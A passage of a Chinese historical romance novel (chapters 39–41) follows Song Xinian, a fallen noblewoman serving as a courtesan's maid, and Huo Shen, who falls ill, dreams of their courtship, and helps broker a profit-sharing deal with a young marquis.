顾良辰说:“小侯爷与昔年之间的情谊真是羡煞旁人啊,我们其实也别无所就,只是想让小侯爷帮我们把顾家店铺的奇珍推荐入宫,成为皇室特供,好让我们顾家在京城有一席立足之地而已。”
王靖宇说:“想在京城立足其实不难,但想成为皇室特供,怕你们顾家是痴人说梦了。”
顾良辰不解,问道:“我能保证东西绝对是稀世珍宝,难道一点机会就没有吗?”
霍慎说:“只要来日你肯引荐也不是全然无机会的,你连白家都肯帮,我们能给的好处与宋昔年来说比白家要重,为何会没有机会?”
王靖宇突然认真地说:“看来霍家真的是离开朝廷太久了,不过也难怪,霍帝师既然有心回避,自然不会刻意去教你们这些。”
宋昔年说:“白家三代为皇商,根基自然深厚,白天来求助,只不过是想为他自己在家族里争得未来的话语权,白家虽怕地位不保,但也是想更上一层楼罢了。能成为皇商的,都是祖上的情分,和经年的积累缺一不可。顾家有哪样?”
王靖宇说:“瞧着你霍家四公子,谋略、心计样样出众,终究不懂上层圈子的简单道理。简单来说,就是你们玩儿不起也不配玩儿。”
霍慎突然被戳中死穴,说道:“你们倒是高贵,还不是获罪流放,被贬为奴!”
王靖宇要发怒,被宋昔年生生按下。
宋昔年苦笑着说:“是啊,常言道‘伴君如伴虎’我就是最好的例子,你们还要往火坑里跳吗?你们所求不过是能在京城立足,其实只要借着小侯爷的名头,时间久了自然也就能成的,何必走最险的一条路。”宋昔年抬头看向霍慎,眼神平静得可怕,透过她的眼神,霍慎感觉宋昔年的身上好像少了什么却又说不上来。
此时,外面传来乐章台开台的声音,宋昔年侧身对王靖宇说:“我要去忙了,此事只能再托给元安你帮忙了,我欠你的实在太多,以后再一并清算吧。那你们慢慢聊,今日怜姐姐会跳新舞,你们也赏光留下一观吧。”宋昔年走到窗边把直通舞台的大窗打开,站在窗边行礼告退。
霍慎想出言解释,却听宋昔年说:“我现在叫阿梦,公子们可别再叫错了!”说完转身出了雅间。
霍慎看着宋昔年离去的背影,一阵头疼袭来,他猛喝一口竹叶青才感觉头疼有所缓解。
顾良辰看霍慎的状态有异,开口关心道:“勤之,你怎么了,可是身体不适?”
霍慎摇头说道:“无妨!此事表哥如何想的,不如今日就此定下吧。”
顾良辰说:“我们就是普通百姓,只想过富贵安逸的日子足矣,只要小侯爷能助顾家顺利在京城立足,那往后宋家在北境的事,顾家自然是责无旁贷,再说顾家留在京城也方便昔年及时收到消息不是!”
王靖宇撇撇嘴说道:“若不是我的身份不便出面,这些事我自然要亲自办的。好吧,就依你,只不过借我的名头,肯定要仗着我的势了,那就不能没个由头。不如你让我几分利,对外也说得过去。”
顾良辰很识相地,说道:“小侯爷想要几成利,您不妨说出来我们当面参详一番。”
王靖宇说:“看在你从前和卿云关系不错,这次又奔波许久的份上,就拿你一成利,全部归在卿云名下,你们按年给吧。”
霍慎说:“你还真是不肯吃亏啊,还说我会算计,你也不遑多让啊!”
王靖宇说:“你懂什么?我要是白帮忙,皇家颜面何在啊,长此以往岂不是什么人都能求到我头上了。”
顾良辰说:“小侯爷说得对,有来有往关系才能长久的,北境那边我会叫人每月都去探望,花费我们也一并出了,不会让昔年操心。”
王靖宇说:“那一年才能花你几个钱,都不敌你一晚上在乐章台的花销呢,也值得拿出来说?”
顾良辰尴尬地笑了笑,不再出声。
王靖宇瞟了一眼霍慎。说道:“你表哥的这一成利也一并交给你管了,你可不能贪污了,我虽不管但也还是要时常查问的,你可要仔细着点。”
霍慎说:“既然怕我贪了,为何还交给我?”霍慎不耐地按着头。
王靖宇说:“因为事到如今她已经没有什么可信之人了,能信的也就我和逢恩了,你也勉强算一个吧。我们不好出面的事自然要你多多出力,再说她落到今天的地步,和你也脱不了干系。”
霍慎说:“王元安,我想喝酒了!霍慎看着窗外的舞台,满脸烦躁。”
王靖宇说:“行吧,请你喝酒,好收买你为我所用!”
宋昔年回到贺怜怜房间。阿昙已经在帮贺怜怜穿舞衣,贺怜怜上下打量着宋昔年,看得她发毛。
宋昔年说:“姐姐,这样瞧着我做什么?”
贺怜怜说:“我想要看看,我妹妹到底哪来的好运气,能引得各色好男儿如此青睐啊!”贺怜怜无罪笑得开心。
宋昔年说:“姐姐,休要胡说,来找我的都是醉翁之意不在酒,何来
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的青睐一说啊!”
贺怜怜说:“男人心海底针,你可别轻易下判断才好。”
宋昔年看着贺怜怜上台,贺怜怜今日跳的是外番的舞蹈,一袭鹅黄的露脐舞衣。手脚上都戴有响片和铃铛。今日她妩媚动人,和她平时的清丽装扮完全不同,引得看表演的男人们十分垂涎。
果不其然,今晚贺怜怜的竞价又是最高的,一位公子以八百两的高价成功获得今晚与贺怜怜共度春宵的机会。
贺怜怜下台之后,被拉着陪几杯酒,因为今晚文雅书生居多,贺怜怜不好推拒,免得被说假清高。
贺怜怜与书生们喝酒对诗,宋昔年自然要负责倒酒赔笑。这一切落在了霍慎眼里,让他觉得讽刺极了,曾经的高门贵女如今却要给一群道貌岸然的读书人斟酒递茶。
霍慎突然说:“我突然明白了,为何老人常说‘宁做悍匪刀下鬼,不做文人笔下美’真是太有道理了。”
王靖宇:“哈哈,这些人大多是寒门出身,拿不出钱也只能用这种方法与花魁多接触了。富贵纨绔虽然可恶,但他们好歹出得起银子,这些文人雅士更令人恶心,没钱买风流就算了,若是不依他们相陪一会儿,就会含沙射影的侮辱人。”
突然有人借醉作起了对子“娇美人,美人娇”
有人答:“这个我对‘玉臂枕。枕玉臂’哈哈哈,怎样!”
有人起哄说:“妙啊,美人对玉臂,实在绝配!”
另一人瞧见戴着面纱的宋昔年说:“花魁身边的这位婢女,虽戴了面纱看不见面容,但是瞧着这身段也是极好的,果然还是花魁身边人才辈出啊!”
霍慎听了这话,眼睛死死盯着台下说话之人,却对王靖宇说道:“你不下去管管吗?”
王靖宇喝了口酒,无奈地说道:“我答应了卿云,不到她生死关头,再不为她解决这种小事。”
霍慎说:“她当众被如此调笑叫小事?霍慎拼命克制怒火。”
王靖宇说:“她能解决的,她上次问我,能不能护她一辈子,我自问是不能的,我毕竟不能真的包下她,就算我肯,她也不会愿意的,所以早些让她锻炼也是好事。我只要帮她捂住最重要的钱财和性命就已经是在帮她了。”
霍慎沉默不语,只是一味喝酒。
台下的宋昔年说:“公子好文采,如今酒也喝了,对子也对了,我们姑娘要去提前沐浴更衣了,各位公子慢饮,我们先失陪!”宋昔年护着贺怜怜走出男人堆,少不了要与他们肢体擦碰,有些心怀不轨的趁机揩油已是常事,宋昔年早就习惯了。
可是楼上的霍慎却面色铁青地看着台下的一切。
王靖宇说:“看不下去就别看,我现在也是眼不见心不烦。”
霍慎闻言欲走。顾良辰也起身告辞,王靖宇说道:“若你不能彻底帮她出火坑,就先别给她带来不必要的麻烦!”
霍慎转头看着王靖宇,说道:“你怎知我不能?”霍慎的眼神冷得像要杀人。
王靖宇笑了笑,问道:“那你打算如何帮她?”
霍慎说:“你没资格知道!”霍慎出了乐章台上了马车之后就不省人事了。
39. 第 39 章
顾良辰以为霍慎是吃醉了酒昏睡过去了,却没想到霍慎半夜却发起了高烧,昏迷不醒。
霍慎做了一个很长的梦,梦里他回到了一年以前,那时的他和宋昔年有着一段快乐时光。
春暖花开,宋昔年特邀霍慎去踏青,霍慎原本不想去,但耐不住宋昔年痴缠,二人带着贴身仆从,乘坐马车准备去郊外,途中路过街市宋昔年分要拉着霍慎去成衣店挑新衣。
宋昔年说:“勤之,你瞧,这件衣服多衬你,你去试试看合不合身!”
霍慎说:“不必了,我身上这件也是新的,我觉得很不错的,我们不是要去踏青吗?就别在这耽误时辰了,快些走吧。”
宋昔年说:“急什么,出来本就是玩儿的,你这件虽好,但太不应景了,春天是一年的伊始,自然是要穿得活泼鲜亮些,才不会浪费你这俊俏相貌啊。”说着就把霍慎往试衣的隔间里推。
霍慎换好衣服出来,看见宋昔年居然也换了一身,都是一样的浅金色缎子,一看便知这两身衣服是一对。
宋昔年心里美滋滋,霍慎却有些不知所措,成衣店的老板也称赞他们是一对璧人,般配得很。
他们一路行至郊外,霍慎率先下车,伸手去扶宋昔年,宋昔年看着伸出的手,思考片刻,直接伸手环抱住霍慎的脖子,整个人扑进霍慎怀里,霍慎只能顺势环住她的腰,抱她下车。
得逞之后宋昔年继续抱着霍慎不肯撒手,靠在他怀里窃喜着。
霍慎低头看着宋昔年的小表情,说道:“既然如愿以偿了,就放开我吧,阿无他们都还看着呢!”
宋昔年转头看向阿无和安眠,发现他们低头笑自己,宋昔年说:“哼,想要就笑吧,别憋坏了自己。你们两个远远地跟着就行,别打搅我们。”
宋昔年想去牵霍慎的手,霍慎见四下无人也就没有抗拒,小情侣就这么在郊外悠闲散步。
远远地看见有一凉亭里有人在吟诗作赋,宋昔年好奇就想向前去看看,但是被霍慎拦住。
霍慎说:“前面都是男子,你往前凑什么!”
宋昔年说:“有你在,怕什么,去看看吧,你看看前面那群人笑得多开心呀,好像是在斗诗,我们也去悄悄吧。”宋昔年一边撒娇一边拉着霍慎往前。
凉亭处,霍慎把宋昔年拉到凉亭柱边,自己则站在外侧,宋昔年还想往凉亭里面挤,霍慎却再也不让她前行半步。
霍慎说:“你要看热闹我依了你,若是你还想得寸进尺,我们就立马回去,你自己选吧!”
宋昔年说:“嗯~好吧!”宋昔年撇嘴妥协,踮脚张望凉亭中心的情况。
霍慎看着宋昔年的样子,不自觉地嘴角上扬。
路人甲:“我们刚才写诗,现在人多了,不如我们改为对对子。”
路人乙:“好啊,那就以‘春’为题。”
路人丙:“那这么多人不如我们各自出些彩头,作为胜者的奖品如何?”
路人甲:“我先出上联,秋风瑟瑟燕南飞,春意盎然定归来。”
路人丙:“这个简单,我会,我会,夫妻本是同林鸟,大难临头各自飞。”
众人哄笑一堂,说道:“你这对的是什么啊,说了以‘春’为题啊。”
路人乙:“输了输了,把你的彩头拿出来吧。”
路人丙:“我没有可拿出的彩头,我出一两银子作为罚金可好?”
路人丁:“我瞧着诸位都是华服锦缎,不如我们每人就以一两银子作为罚金,既不伤根本,又添了几分乐趣,诸位以为如何?”
众人都纷纷赞同,直到在场的每人都对了一个对子,没有一个获得满堂彩,都掏了银子交了罚金,那最先出对子的人都准备收钱致谢了,宋昔年突然举手引得全场瞩目。
宋昔年说:“我们还没对呢,你怎么就想把银子落袋为安了呢!”宋昔年另一只手悄悄点了点霍慎的腰。
霍慎被宋昔年催着,旁人看着,实在是不好再推辞,只能招摇于人前。
霍慎说:“那我就对,春暖花开赶考路,金榜题名状元归。”
霍慎对完,众人哗然,最后一致认为霍慎对出的对子最好,宋昔年趁霍慎与人寒暄致谢时,悄悄挤到凉亭中间,把桌上的十来两碎银全部装进了自己的钱袋,再回霍慎身边时,宋昔年满眼崇拜地看着霍慎。
宋昔年开心地说:“都是我们的了!”她得意地把钱袋在霍慎面前晃了晃。
霍慎宠溺地说:“就你爱出风头!”他修长的手指点在宋昔年额头。
好一对佳偶,引得在场的人好生羡慕,感叹年轻真好。
霍慎带着宋昔年回去了,返程时才想起自己事先准备的糕点忘记拿下去吃。
有点遗憾地说:“真是可惜,我还准备和你席地而坐吃着糕点吹着春风呢!”宋昔年把食盒打开给霍慎看。
霍慎说:“那谁叫你爱看热闹,你这叫捡了芝麻丢了西瓜,现下再来抱怨又有何用?”
宋昔年有些不满他说话的态度,说道:“你就不能好好安慰我一下吗?为何总是一副高高在上的样子还爱教训人。”
霍慎拿了一块糕点心情极好地吃着,宋昔年有些生气,想躲开不让他拿,可惜慢了一步。霍慎看她吃瘪的样子,第一次在宋昔年面前放声大笑。
瞧着宋昔年气呼呼的模样,霍慎说:“这糕点真不错,你也吃一块尝尝。”
宋昔年看着吃糕点的霍慎,突然起身弯腰,贴近霍慎,吃掉了他嘴上的一小块糕点。
嘴唇碰触间,霍慎感觉浑身仿佛触了电般酥麻,他能清楚的感觉到宋昔年唇瓣的柔软,宋昔年身上桃花香粉的香味也钻入了他的鼻间,混合着女儿家独有的馨香,让他有片刻沉沦。
宋昔年一触即离,说道:“这梦仙楼的挑花糕确实不错!”
霍慎抱怨地说:“你怎么这么大胆,以后不许再这样!”
宋昔年与他对视,言笑晏晏地说:“你确定?”
霍慎一时语塞,说道:“我……
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”霍慎瞬间面红耳赤。
宋昔年再次起身,霍慎本能往后躲。
宋昔年只是在他耳边,说道:“还是我赢了!”
霍慎有些莫名的失落,但他抬眼看着笑得放肆的宋昔年,却也庆幸她选择了自己!
霍慎意识模糊间,好像听见了宋昔年在叫自己,“勤之,勤之!”
睁眼打算回应时,眼前之人却变成了自己的母亲,霍慎才知道自己刚才是在做梦。霍慎又闭上眼想要回到刚才那梦里去,却十分清醒,他清楚地知道他和宋昔年没办法再回到当初,就是因为太清楚,他突然从心底生出一股悲凉感,使他闭眼流下了眼泪。
霍母替儿子拭去眼角的泪。心疼地说:“勤之,大夫说你是长期不眠导致的发热体弱。你该放下的就要放下,难不成你真想一辈子耗死自己吗?”
霍慎不答,只是说道:“我想吃梦仙楼的桃花糕了,娘你叫人去买吧。”
霍母说:“好,我这就让阿无去买。”
霍慎又问:“现在是什么时辰了,我是不是该去翰林院了?”霍慎准备起身。
霍母说:“傻孩子,你已经昏迷一天一夜了,我们险些以为你醒不过来了,你如今才刚醒,应该好好歇息,翰林院我们已经替你告过假了,你可安心休养一段时间。”
顾良辰说道:“堂婶,您也一夜未曾合眼了,如今勤之已经醒来,您安心去休息,我会在这儿守着他的。”
霍母也实在是疲累,于是也不强撑,她对顾良辰说道:“那勤之就劳你看顾,若有事你再来叫我,你们都是年轻人,你也帮着劝劝他。”
顾良辰笑着说道:“堂婶放心,我会的!”
霍母走后,霍慎立马问道:“凭契你准备好了吗?”
顾良辰白了他一眼,说道:“你瞧瞧你,急什么,是我会跑啊,还是凭契会飞?”
霍慎说:“我现在头疼欲裂,没心气和你说笑。我昏迷的这段时间,可发生过什么事?”
顾良辰说:“没有,就是你突然病倒把大家都吓坏了,你们霍家各房都送了补品来给你。顾良辰说着指给霍慎看,他卧房一角堆得各色补品。
霍慎说:“顾云走了吗?”
顾良辰说:“嗯,你祖母亲自送的,给了好多女儿家的穿戴让她带回宫里,这下有的她显摆了,她还给了我二十两银子,让我帮着带回去给她家里呢,这被你一耽误,我祖父先回去了,我留下来在住几日。”
霍慎说:“你把事情都和舅爷说了?”
顾良辰:“那当然,如今也算成了事,不好再瞒了,好些事情还要祖父提前安排呢!”
霍慎说:“那你有没有说她在乐章台?”
顾良辰心虚地说:“那既然交代了,难免长辈们会过问前因后果,她是关键,我不说也说不过去啊,我本想着一大早来问过你的意见,谁知你已经昏迷不醒了,还是我第一个发现你病了的。”
霍慎说:“算了,如此我以后也光明正大了。”
40. 第 40 章
顾良辰说:“啧啧啧,这病了一场还把你的脑子病开窍了,真是稀奇,不过对你来说也是一件好事。”
霍慎:“表哥,你和长辈们说这件事,他们有什么反应吗?”
顾良辰说:“嗯~我祖父自然是高兴的,毕竟这事也算板上钉钉了,他只有全力支持了,这不风风火火地先回去了。至于你祖父,他刚开始是觉得这事不妥的,可不知为何最后也不反对了,只留下一句‘注意分寸’就再没说别的了。”
霍慎听了这话,知道祖父这是默许了,他对顾良辰说道:“表哥,你快些去准备凭契,记得准备‘入股凭契’。”
顾良辰起身要往外走,说道:“嗯,我知道的,要准备‘入股凭契’什么?入股?”顾良辰站在原地,转头看向躺在床上脸色苍白的霍慎。
霍慎说:“没错,就是入股!”
顾良辰又坐回床边,说道:“这不太对吧,向来经商入股都是要投入本钱的,哪有无本得利的道理啊!”
霍慎说:“那你准备签承诺凭契?”
顾良辰说:“不然呢,这样双方都公平呀,他若帮我办成了,我就依照说好的,每年给一成利,到我们双方百年故去后终止。若是入股的话,那就是子女也有继承权的,若这好处真落到小侯爷手里他传给后代也就罢了,那我们也世世代代都有贵人庇佑,但是这是落到昔年手里的,若是将来小侯爷百年之后,他的后人不认了,可我依着凭契还是要给昔年的孩子一成利的,那这不是亏了?”
霍慎说:“表哥,不愧是商人思维啊,一下子算得如此清楚。”
顾良辰有些不好意思地说:“我不是不愿意给昔年好处,但从长远来看,这实在是有些不妥。”
霍慎说:“表哥,你的担心我自是知道的,但是你若是不如此,怕是都不用担心以后了,你以为和皇室宗亲谈条件,寻常人能有便宜讨?”
顾良辰皱眉说道:“那我岂不是与虎谋皮了?”
霍慎笑着说:“不必担心,卿云不会是没分寸的人,而且现在最重要的还是为顾家谋一个未来,你若纠结于这种小事,错过了此次机会,很有可能顾家一辈子都要在外四处漂泊了。实话告诉你,你这一成已经是小侯爷看在从前的情份上对顾家网开一面了,前段时间皇商白家也是托小侯爷办事,被要求分走了三成利呢!”
顾良辰吃惊地说:“什么?三成?也是入股?”
霍慎说:“当然,你以为皇家的关系是这么好攀的。总要付出点代价的。”
顾良辰说:“听你这么一说,我倒是平衡多了,那我是该早点准备凭契,免得夜长梦多,小侯爷变卦加价。”
霍慎说:“你去吧,我再睡会。”
这几日贺怜怜因为来了月事,无法迎客,倒也是清闲,她们三个小丫头围在贺怜怜房间里烤火,吃零嘴。
宋昔年说:“姐姐你刚说的可是真的,乐章台的姑娘老了之后,真的会被遣走?”
贺怜怜说:“我刚来的时候,也是听一位老婆子说的,八成是真的吧,不然乐章台一共就这么大点地方,哪能容得下这么多人!”
阿昙说:“那她有没有说会被遣到何处安置?”
贺怜怜说:“那倒没有,她只是提醒我,要向上爬,爬得越高越好!”
宋昔年说:“那她也算是对姐姐有提点之恩,现在那老婆婆人呢?
贺怜怜苦笑着说:“她早就死了!”
宋昔年和阿昙表情都不太好,显然没想到会是这种答案。
贺怜怜却面色平静地说:“在这里,死个人不是很正常的嘛!你们怎么还不习惯啊,这个是不行的,这里可容不下真正的弱女子。”
说着外面突然喧哗起来,三人立即打开门看看是怎么回事。
贺怜怜说:“这个时辰姑娘们应该还在睡觉,怎么如此吵闹?”
打开门,就瞧见两位姑娘因为恩客送的钗子,争吵不休,恶语相加。
阿昙不屑地说:“就知道是一楼的那些姑娘,她们惯是眼皮子浅的,得了什么好的东西啊,就值得当众吵起来,也不怕再被打发到乐营去。”
宋昔年拉了拉阿昙,说道:“好了小心祸从口出,不关我们的事,看看就行了,少说两句吧。”
贺怜怜说:“阿昙,你未经他人苦,莫劝他人善,这世上有几人能要体面时不要的,不过是想让自己过得更好罢了。”
阿昙说:“我知道错了,我以后会注意的”阿昙显然不高兴了,回屋里坐着继续吃起了零嘴。
宋昔年看了她一眼,继续关注楼下的情况。
楼下二位姑娘,不知说了什么竟然动起手来,秦珍珍看到了,居然大笑起来。
秦珍珍说:“两个不知死活的小贱人,打归打,骂归骂,可千万别再弄出人命了。之前那两个的下场你们都还记得吧,马上就要过年了,姐妹们都还指着这些时日多赚些呢!”
有人附和道:“是啊,别因为你们两个牵累我们所有人。”
秦珍珍瞧见贺怜怜也在看热闹,开口说道:“怜怜,你这几日可以好好歇着了吧,还有一个时辰就要发月钱,你上个月赚了不少吧,不如你补了这妹妹的损失,也好全了你花魁的气度。”
贺怜怜说:“你可真会说笑,乐章台向来都是靠本事吃饭,何时改为需要别人施舍了?”
秦珍珍说:“你说活也太难听了,什么叫施舍,只不过是相互拉一把而已。”
贺怜怜讥讽她,说道:“当年可没有人拉我一把,难道你曾经被人施以援手吗?你叫我拉一把,你为何不自己拉呢?”
秦珍珍笑得灿烂,说道:“我也不过是开个玩笑,你瞧你还生气了!”
贺怜怜没有理会秦珍珍,只是居高临下地看着楼下的两人,说道:“与其在这吵闹,不如多花点心思想想怎么讨好男人。”说完贺怜怜关上了门。
贺怜怜突然感觉腹痛,她上床躺着了,阿昙端了热好的红糖水给贺怜怜喝。贺怜怜只是喝了一小口,就让阿昙放下了,宋昔年为她盖好被子。
贺怜怜说:“你们都先回去吧,我想睡一会儿,晚饭时候你们再叫醒我。”
阿昙说:“那等会就要到发月钱的时候了,姐姐不如去拿完钱再睡?”
贺怜怜皱眉说道:“我如今难受得很,你们去帮我和杜妈妈说一声,我的月钱等会儿再拿。”
宋昔年说:“那我们先出去了,姐姐你好好休息。”
宋昔年拉着阿昙出了房间,两人回到下院,自己
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的房中。
宋昔年说:“你可是还在生气?”
阿昙说:“姐姐你说什么呢,我才没有生气。我知道姐姐们都是为我好的。”
宋昔年说:“生气,就是生气,没什么好隐瞒的,我也不是故意说你,只是你之前的话,说得也太过了些,进了乐章台的哪个不是迫不得已,虽说犯不上帮一把,但着实不该在把她们往低了贬的。”
阿昙惭愧地低下头,说道:“姐姐说得有理,都是苦命人罢了。”
宋昔年摸了摸她的脸,说道:“我娘煮了红豆沙,你待会儿多吃两碗,算是我给你赔罪了。”
二人说说笑笑,打发无聊时光。
贺怜怜却陷入梦魇不能自拔,贺怜怜回忆起刚从教坊司到乐章台,她也曾感受到一丝温暖,她也庆幸自己的选择是对的。
贺怜怜每天只是给客人跳跳舞,陪着笑一笑,晚上再回到下院钻进婆婆怀里睡觉。
可有一日晚上,她从楼上回来,婆婆并没有睡,点着昏暗的油灯一直在等她。
贺怜怜好奇地问:“婆婆你为何这么晚了还不睡?”
婆婆说:“在给你准备新衣啊!”
贺怜怜拿起衣服看了看,说道:“这衣服不是只有挂了牌的姑娘才能穿的吗?
婆婆慈爱地摸着她的脸,说道:“是啊,你来了也有一个月了,每天上台跳舞,今天终于有恩客,看上你了,你开心吗?你可以离开下院了,去楼上有单独的床,可以吃得好些,穿得好些。”
贺怜怜不可置信地说:“不是说,做官妓要转籍必须自愿的嘛,我并没有向杜妈妈说,我要立马做官妓啊。”
婆婆说:“以你的相貌就注定了不会平凡,何须你亲自说明,难道你在来之前没有想到要挂牌?”
贺怜怜说:“也不是,只是没想到会这么快,我还想多和婆婆你待在一起,我觉得这样也挺好的。”
婆婆说:“我马上要死了,你不能和我在一起了。”
贺怜怜笑道:“怎么可能,你现在不是好好的,怎么会死呢?”
婆婆说:“反正你永远记着,如果不想死就要好好活,想要在乐章台活得好就必须不停地向上爬,不择手段地向上爬,不心软,不要相信任何人。”
贺怜怜问道:“为什么?我觉得大家都很好啊!”
婆婆说:“傻丫头,在这里没人会真正帮你的,你只有靠自己。”
贺怜怜反驳道:“婆婆不是一直在帮我吗?”
婆婆说:“因为我要死了啊,帮你是我临死前做的一件善事。”说完把做好的衣服放在床上,下床背对着贺怜怜,把早就藏在袖口的刀子插进了自己的心脏。
贺怜怜反应过来时,她已经倒在了地上。
贺怜怜抱着她问道:“为何要自戕啊?为何?”
婆婆说:“因为我不想再把命交给别人,我不想被遣走,我要自己选一次。怜怜你记住我说的,如果不想落到和我一样的下场,你就要拼命往上爬。其实我才半老徐娘而已,还有你别忘了每年给我烧纸啊。”说完便断了气。
贺怜怜始终不明白为何婆婆不愿被遣走,甘愿自戕。
她再次醒来时,是宋昔年叫她吃晚饭,但她一点胃口都没有。
41. 第 41 章
几天过去,霍慎已经大致痊愈,送走顾良辰之后,他去翰林院销了假。人还没坐到自己的位置上就被人拉起,拉他的人正是状元梁亮。
霍慎被他突然地一拉,踉跄着才站稳,有些气愤地说:“梁兄,你这是做什么?”霍慎抽出了被梁亮拉着的胳膊。
梁亮也知道自己有些过激,歉疚地说:“对不住,对不住,可是我有很重要的是和你说。”
霍慎说:“何等大事啊,要这么着急忙慌的?”霍慎理了理被梁亮抓乱的衣袖。
梁亮说:“你这几日不在翰林院,你有所不知,皇上前几日在朝上宣布,将由太子主持朝会,代理监国,好让皇上安心休养身体。”
霍慎挑眉,说道:“所以呢,我们为臣地做好自己分内之事即可,何必如此慌张!”
梁亮皱眉把他拉到一边,说道:“我是怕这江山即将易主,你家也算皇帝近臣,有没有提前收到什么消息?”
霍慎说:“原来你在担心这个啊。太子是皇上嫡出又是长子,名正言也顺,本就是宝座的不二人选,你我都刚进入仕途,官小位卑的,怎么样也波及不到我们的。”
梁亮茅塞顿开地说:“你说得有理,我也是这几天被翰林院紧张的气氛给影响了,才会方寸大乱。虽说新帝登基必然会将之前的沉疴清除一番,但我们新进的官员,两袖清风,自然无甚可怕,再说可天塌了自有高个子顶着,也轮不到我们啊。”
霍慎说:“正是此理,所以安心做好你该做的事吧。”霍慎拍了拍梁亮的肩膀。
梁亮说:“为了感谢你的解惑之恩,今晚我们一道去乐章台欢谈畅饮如何?放心我请客,之前答应还你一顿地,不如就今晚吧!”
霍慎还没来得及拒绝,梁亮就说:“就这么说定了!”说完就回到了自己的位子。
下职之后,他们几人就直接去了乐章台。
霍慎对车夫说:“你回去告诉家里一声,我在乐章台,顺便把阿无带来。”
车夫得了吩咐,就驾着马车回去了。
霍慎他们几人相携进入乐章台,乐章台每晚人满为患,一楼雅座早就没空位了。梁亮便直接要了二楼雅间。他们都暂无妻室,自然一人吃饱全家不饿。他们几人来之前就说好,一人出二两银子上包间,不能再霍慎面前落了面子。
进了雅间各自落座。他们点了酒菜,一边高谈阔论说着理想抱负,一边气定神闲分析朝堂局势,忽然房门被敲响,几人立即噤声。
贺怜怜在门外询问:“今日怜怜无法上台献舞,特来向几位公子赔罪!”
几人得知门外是贺怜怜,梁亮马不停蹄地起身亲自开门,将人迎了进来。宋昔年自然也跟着进屋,进屋前宋昔年看见阿无气喘吁吁地向楼上奔来。
贺怜怜带着宋昔年给他们行礼,贺怜怜对宋昔年说:“阿梦,给我倒杯酒,我好给公子们赔了不是。”
宋昔年照做,贺怜怜把酒一饮而尽后,说道:“台上的姑娘舞技也是相当了得的,希望公子们也能尽兴而归。”说完就准备带着宋昔年离开。
这是梁亮开口挽留,说道:“怜怜姑娘今日若得闲,不如留下来陪我等说说话吧。”
贺怜怜说:“这恐怕不妥,我还有几处还要相继去告罪的,怕是无暇相陪了!”
同行的马公子突然说道:“杜妈妈自然会替你向剩下的雅间中人说明的,你去陪那些个大老粗,还不如留下和我们吟诗作对,况且你之前不是还欠我们一首曲子,没有弹给我们听,不如今日就还了吧!”
贺怜怜不好再推辞,只能应下。
她对宋昔年说:“既如此,阿梦你去把我的琴拿来吧,顺便去知会杜妈妈一声,剩下的雅间就劳烦她了。”
宋昔年转身向外走,就听霍慎说道:“阿无,你去帮着阿梦姑娘取琴。”
宋昔年身体一顿,低垂眉眼向霍慎行礼,表示感谢。
阿无乐呵呵地,跟在宋昔年身后,正准备开口说什么,就瞧见杜妈妈正朝着这边走来。他立即收敛情绪,安静地跟在宋昔年身后。
杜妈妈瞧见宋昔年身后跟着男子,便问道:“你们这是要去哪儿?你家姑娘人呢?”
宋昔年说:“姑娘在陪着梁公子他们说话,吩咐我回去拿琴,这是小厮是借我搬琴用的。姑娘还说剩下的雅间还请妈妈代为告罪。”
杜妈妈点头,说道:“知道了,你去吧,别让客人等太久。”
等到远离杜妈妈,宋昔年主动开口,说道:“阿诺可还好?”
阿无说:“小姐,放心,那小子精着呢,怎会不好!”
宋昔年看着阿无,说道:“我说了多少遍,别叫我小姐。我现在叫阿梦!”
阿无立即捂嘴,张望四周,然后说:“知道了,下回我一定注意。”
宋昔年进到贺怜怜的房间,拿了琴架上的琴,交给你在门外等她的阿无,阿无顺手接过,掂了掂。
宋昔年说:“你小心点,别弄坏了,这把琴可值千两,弄坏了把你卖了都赔不起!”
阿无说:“不愧是花魁,一把琴就要千两,平常百姓一年家中盈余不过十两银,也只够在乐章台雅间消费一晚的。”
宋昔年说:“你以为乐章台‘消金窟’的名号是白来的吗?”
阿无说:“你说怎会有人舍得一晚就花数十两只是吃一顿饭看场表演?”
宋昔年说:“这可是皇城,有时候也并不全是为了吃饭,有还是有别的目的的。对了,我有东西要托你带回去给阿诺,你待会儿在转角等我,先别进去。”
阿无点头,宋昔年迅速回了下院,正碰见阿昙在自己的院子里发呆。
宋昔年站在门口说:“你既然这么无聊,不如和我上去,一同陪着怜姐姐和状元公子们说话吧。”
阿昙说:“姑娘不是不表演了,要休息的嘛,怎么又和状元公子说起话了?”
宋昔年说:“走吧,正缺人斟酒递茶呢!”
阿昙说:“也对,穷酸书生,自是没钱再叫官妓服侍。”
宋昔年说:“你去了就当是陶冶情操了,也沾点诗书气,哈哈哈!”
阿昙说:“
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嗯~,诗书气哪有银子重要啊。”阿昙有点不情愿。
宋昔年说:“他们可是当官的,你去刷个脸熟也是好的。”
阿昙看见宋昔年手里抱的包袱,问道:“姐姐拿的是什么?”
宋昔年说:“是给我家阿诺的东西!”
阿昙瞬间坏笑,说道:“这么说,霍家公子也来了?”
宋昔年拉着她说:“快些走吧!”
宋昔年想把包袱交给阿无,阿无低头看了看自己手上抱着的琴,抬头对阿昙笑着说:“呵呵,我这手上拿着琴也不好再拿包袱,再说这包袱也不好带进屋,我想劳烦阿昙姑娘把这包袱送到霍家马车上。”
阿昙说:“你到会使唤人!阿昙伸手从宋昔年怀里拿过包袱,转身下楼。”
宋昔年敲了门之后,推门进屋,屋内气氛极好,贺怜怜把他们哄得各个笑容满面,唯独只有霍慎低头按着太阳穴,好似觉得这满室的烛火,太多刺眼,扰的他难以安坐。
这时,宋昔年才记起,霍慎好像从不多点烛火,他时常都是,书房的两排烛台,只一边取一盏点亮,在放一盏置于书案之上,显得偌大的书房昏暗逼仄,但这就是霍慎最喜欢的。
宋昔年曾经无数次和他说,自己不喜欢昏暗的地方,霍慎也只是在宋昔年在的时候多点了几盏灯,从未把书房的烛台全部点亮过。
贺怜怜的呼唤,把宋昔年从回忆里拉回,贺怜怜说:“叫了你好几声了,快来给公子倒酒啊。”
宋昔年快步上前,跪在梁亮对面,隔着桌子替他斟酒。梁亮打量着宋昔年,正要说着什么,宋昔年已经起身去别桌继续替其他人续满空酒杯。
轮到霍慎时,霍慎的酒杯还是满的,宋昔年正要转身离开,霍慎却端起酒杯,仰头将酒一饮而尽,把酒杯放回桌上。
宋昔年无奈走回霍慎身侧,准备替他斟满酒杯,可是霍慎就是紧紧地盯着她,仿佛怕她在酒里下毒似的。
霍慎突然说:“坐下!”
宋昔年不知霍慎是何意,探究地看着霍慎,想要知道他意欲何为!
